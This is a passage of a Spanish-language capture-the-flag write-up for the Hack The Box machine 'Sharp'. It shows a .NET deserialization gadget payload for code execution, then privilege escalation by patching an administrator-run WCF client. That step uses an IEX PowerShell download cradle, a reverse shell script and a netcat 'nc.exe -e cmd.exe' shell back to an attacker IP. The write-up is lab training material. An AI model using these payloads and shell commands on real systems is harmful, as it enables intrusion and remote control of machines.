FbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
En consola obtenemos:
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
Pero que pasa, como toda deserialización, el proceso falla, pero no nos interesa, porque nuestro código se ejecutó antes que el error, por lo tanto nosotros ya hemos conseguido una sesión:
Tamos en el sistema como lars
y tenemos acceso a la flag user.txt
:)
Enumeremos para ver como escalar privilegios…
…
Escalada de privilegios #
Recorriendo la máquina encontramos unos archivos en c:\Users\lars\Documents
:
c:\Users\lars\Documents>dir
Volume in drive C is System
Volume Serial Number is 7824-B3D4
Directory of c:\Users\lars\Documents
02/08/2021 07:35 PM <DIR> .
02/08/2021 07:35 PM <DIR> ..
11/15/2020 01:40 PM <DIR> wcf
0 File(s) 0 bytes
3 Dir(s) 32,343,658,496 bytes free
c:\Users\lars\Documents>dir wcf
dir wcf
Volume in drive C is System
Volume Serial Number is 7824-B3D4
Directory of c:\Users\lars\Documents\wcf
11/15/2020 01:40 PM <DIR> .
11/15/2020 01:40 PM <DIR> ..
11/15/2020 01:40 PM <DIR> .vs
11/15/2020 01:40 PM <DIR> Client
11/15/2020 01:40 PM <DIR> packages
11/15/2020 01:40 PM <DIR> RemotingLibrary
11/15/2020 01:41 PM <DIR> Server
11/15/2020 12:47 PM 2,095 wcf.sln
1 File(s) 2,095 bytes
7 Dir(s) 32,343,658,496 bytes free
c:\Users\lars\Documents>
Si le damos un vistaso al cliente (como hicimos al inicio) vemos:
c:\Users\lars\Documents>cd wcf\Client
c:\Users\lars\Documents\wcf\Client>dir
Volume in drive C is System
Volume Serial Number is 7824-B3D4
Directory of c:\Users\lars\Documents\wcf\Client
11/15/2020 01:40 PM <DIR> .
11/15/2020 01:40 PM <DIR> ..
11/14/2020 11:14 PM 184 App.config
11/15/2020 01:40 PM <DIR> bin
11/15/2020 01:36 PM 2,639 Client.csproj
11/15/2020 01:40 PM <DIR> obj
11/15/2020 01:39 PM 625 Program.cs
11/15/2020 01:40 PM <DIR> Properties
3 File(s) 3,448 bytes
5 Dir(s) 32,343,658,496 bytes free
c:\Users\lars\Documents\wcf\Client>type Program.cs
using RemotingSample;
using System;
using System.ServiceModel;
namespace Client {
public class Client
{
public static void Main() {
ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
new NetTcpBinding(SecurityMode.Transport),"net.tcp://localhost:8889/wcf/NewSecretWcfEndpoint"
);
IWcfService client = channelFactory.CreateChannel();
Console.WriteLine(client.GetDiskInfo());
Console.WriteLine(client.GetCpuInfo());
Console.WriteLine(client.GetRamInfo());
}
}
}
c:\Users\lars\Documents\wcf\Client>
Tiene practicamente la misma estructura que el anterior cliente, pero lo interesante de esto es su propietario:
c:\Users\lars\Documents\wcf\Client>dir /q *
Volume in drive C is System
Volume Serial Number is 7824-B3D4
Directory of c:\Users\lars\Documents\wcf\Client
11/15/2020 01:40 PM <DIR> BUILTIN\Administrators .
11/15/2020 01:40 PM <DIR> BUILTIN\Administrators ..
11/14/2020 11:14 PM 184 BUILTIN\Administrators App.config
11/15/2020 01:40 PM <DIR> BUILTIN\Administrators bin
11/15/2020 01:36 PM 2,639 BUILTIN\Administrators Client.csproj
11/15/2020 01:40 PM <DIR> BUILTIN\Administrators obj
11/15/2020 01:39 PM 625 BUILTIN\Administrators Program.cs
11/15/2020 01:40 PM <DIR> BUILTIN\Administrators Properties
3 File(s) 3,448 bytes
5 Dir(s) 32,343,658,496 bytes free
c:\Users\lars\Documents\wcf\Client>
Lo que quiere decir que lo que se esté ejecutando, será «ejecutado» con privilegios de administrador. Intentemos modificar el archivo Client.exe
, pero para eso debemos mover todo el directorio (por tema de librerías, llamados, etc.) a nuestra máquina para agregar lo que necesitemos y posteriormente compilar y volver a subir los objetos.
Podemos generar un comprimido de todo para facilitarnos la transferencia, aprovechamos el uso de PowerShell
y la herramienta Compress-Archive para hacerlo:
PS C:\Users\lars\Documents> Compress-Archive wcf c:\dev\out.zip
PS C:\Users\lars\Documents> dir c:\dev
Directory: C:\dev
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/15/2020 10:25 AM 5632 Client.exe
-a---- 11/15/2020 1:59 PM 70 notes.txt
-a---- 2/8/2021 11:36 PM 11598452 out.zip
-a---- 11/15/2020 10:25 AM 4096 RemotingLibrary.dll
-a---- 11/16/2020 11:55 AM 6144 Server.exe
Pero… ¿Por qué sobre la ruta dev/
? Bueno, si recordamos, los archivos Client.exe
, Server.exe
y notes.txt
los obtuvimos mediante SMB
con el usuario lars
sobre la carpeta compartida dev/
. Lo que quiere decir que seguimos teniendo acceso a ella, solo que ahora lo haremos desde Windows.
Abrimos la conexión sobre la unidad Z:
ahora:
Validamos:
PS C:\htb_sharp\files> net use
No se recordarán las nuevas conexiones.
Estado Local Remoto Red
-------------------------------------------------------------------------------
Conectado Z: \\10.10.10.219\dev Microsoft Windows Network
Se ha completado el comando correctamente.
Perfecto, ahora simplemente validamos que tengamos los archivos:
PS C:\htb_sharp\files> dir z:
Directorio: z:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 15/11/2020 05:25 a. m. 5632 Client.exe
-a---- 15/11/2020 08:59 a. m. 70 notes.txt
-a---- 08/02/2021 06:36 p. m. 11598452 out.zip
-a---- 15/11/2020 05:25 a. m. 4096 RemotingLibrary.dll
-a---- 16/11/2020 06:55 a. m. 6144 Server.exe
Tenemos el comprimido, ahora si a jugar :)
Descomprimimos y abrimos el archivo wcf.sln
con Visual Studio
:
Detallamos que al ser ejecutado, muestra info del sistema; información del disco, de la CPU y la RAM :I
Console.WriteLine(client.GetDiskInfo());
Console.WriteLine(client.GetCpuInfo());
Console.WriteLine(client.GetRamInfo());
Probemos ahora a agregar una linea que nos genere una nueva Reverse Shell, pero ahora será como Administrator
(ojala :P).
//Podemos simplemente invocar PowerShell usando el cliente que ya esta definido
Console.WriteLine(client.InvokePowerShell("IEX(New-Object Net.WebClient).downloadString('http://10.10.14.34:8000/P.ps1')"));
Ahora el codigo quedaria:
Compilamos :O
1>------ Operación Compilar iniciada: proyecto: RemotingLibrary, configuración: Debug Any CPU ------
1> RemotingLibrary -> C:\htb_sharp\files\wcfCompress\wcf\RemotingLibrary\bin\Debug\WcfRemotingLibrary.dll
2>------ Operación Compilar iniciada: proyecto: Client, configuración: Debug Any CPU ------
2> Client -> C:\htb_sharp\files\wcfCompress\wcf\Client\bin\Debug\WcfClient.exe
========== Compilar: 2 correctos, 0 incorrectos, 0 actualizados, 0 omitidos ==========
Perfe, antes de pasar los archivos (más que todo por que me acorde y despues de me olvida :P), modifiquemos el objeto P.ps1
para que apunte a otro puerto por ejemplo el 4435
.
...
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.34 -Port 4435
Pongamonos en escucha:
PS C:\htb_sharp\files> .\nc.exe -lvp 4435
listening on [any] 4435 ...
Movamoslos:
PS C:\Users\lars\Videos> IWR -uri http://10.10.14.34:8000/WcfClient.exe -OutFile c:\Users\lars\Videos\WcfClient.exe
PS C:\Users\lars\Videos> IWR -uri http://10.10.14.34:8000/WcfRemotingLibrary.dll -OutFile c:\Users\lars\Videos\WcfRemotingLibrary.dll
PS C:\Users\lars\Videos> ls
Directory: C:\Users\lars\Videos
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/9/2021 1:11 AM 5120 WcfClient.exe
-a---- 2/9/2021 1:11 AM 7680 WcfRemotingLibrary.dll
Y ejecutamos el binario:
PS C:\Users\lars\Videos> .\WcfClient.exe
...
Salen errores, peeeeeeeeeeerooooooooooooooooooooooooooooooooooooooooo:
Nicceeeeeeeeeeeeeeeeeeeeeeeeeeeeee, tamos dentro paaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaai!!
Veamos las flags.
Bueno, aún no, la sesión se cierra rápido, intentemos subir el binario nc
para rápidamente generar otra Reverse Shell separada del proceso que tiene el WcfClient.exe
:
PS C:\Users\lars\Videos> IWR -uri http://10.10.14.34:8000/nc64.exe -OutFile c:\Users\lars\Videos\nc.exe
Ejecutamos de nuevo el binario .\WcfClient.exe
y apenas tengamos la Shell por el puerto 4435
, generamos otra por el 4436
(nos ponemos en escucha):
PS C:\Windows\system32> c:\Users\lars\Videos\nc.exe 10.10.14.34 4436 -e cmd.exe
Ahora si veamos las flags:
Antes de irnos, cerremos la unidad Z:
que habíamos abierto para compartirnos el archivo comprimido:
PS C:\htb_sharp\files> net use
No se recordarán las nuevas conexiones.
Estado Local Remoto Red
-------------------------------------------------------------------------------
Conectado Z: \\10.10.10.219\dev Microsoft Windows Network
Se ha completado el comando correctamente.
PS C:\htb_sharp\files> net use Z: /delete
Hay archivos abiertos y/o búsquedas incompletas de directorios pendientes en la conexión con Z:.
¿Desea continuar la desconexión y forzar el cierre? (S/N) [N]: S
Z: se ha eliminado.
PS C:\htb_sharp\files> net use
No se recordarán las nuevas conexiones.
No hay entradas en la lista.
PS C:\htb_sharp\files>
Ahora seeee.
…
Hemo acabao’ como siempre, muchas gracias por leer y nos veremos en otro writeup ;) A ROMPER TODOOOOOOOOOOOO!
Comments